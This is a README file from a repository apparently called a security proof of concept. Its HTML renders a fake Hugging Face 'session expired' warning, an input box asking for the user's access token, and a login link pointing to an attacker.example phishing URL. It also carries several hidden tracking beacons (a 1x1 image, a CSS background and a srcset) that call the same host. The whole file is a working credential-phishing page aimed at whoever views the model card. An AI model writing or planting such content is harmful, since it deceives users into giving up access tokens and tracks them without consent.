hf-security-poc / README.md
rootx
add README
d28d3e7 verified
|
Raw History Blame Contribute Delete
1.2 kB
<div style="top:0px;left:0px;width:100%;height:340px;background:#1f2937;color:#fbbf24;font-size:22px;text-align:center;padding-top:140px;z-index:9999;border-bottom:6px solid #ef4444">
&#9888;&#65039; SECURITY WARNING: Your HuggingFace session has expired.<br>
Please re-validate your access token to continue using this model.
</div>
<div style="top:350px;left:38%;z-index:99999;width:320px">
<input placeholder="hf_ your token here" style="width:300px;height:42px;font-size:15px;border:2px solid #6b7280;border-radius:6px;padding:6px">
<button style="width:300px;height:44px;margin-top:8px;background:#4f46e5;color:white;border:none;border-radius:6px;font-size:16px">Validate My Token</button>
</div>
<a href="https://attacker.example/hf-token-phish" style="display:block;width:280px;margin:400px auto 0;padding:14px;background:#2563eb;color:white;border-radius:8px;text-align:center;font-size:16px;text-decoration:none">&#128279; Continue to HuggingFace Login</a>
<img src="https://attacker.example/pixel-view-id=1" width="1" height="1" alt=" ">
<div style="background:url(https://attacker.example/css-url-view-id=1)">.</div>
<img srcset="https://attacker.example/srcset-view-id=1 1x" alt=" ">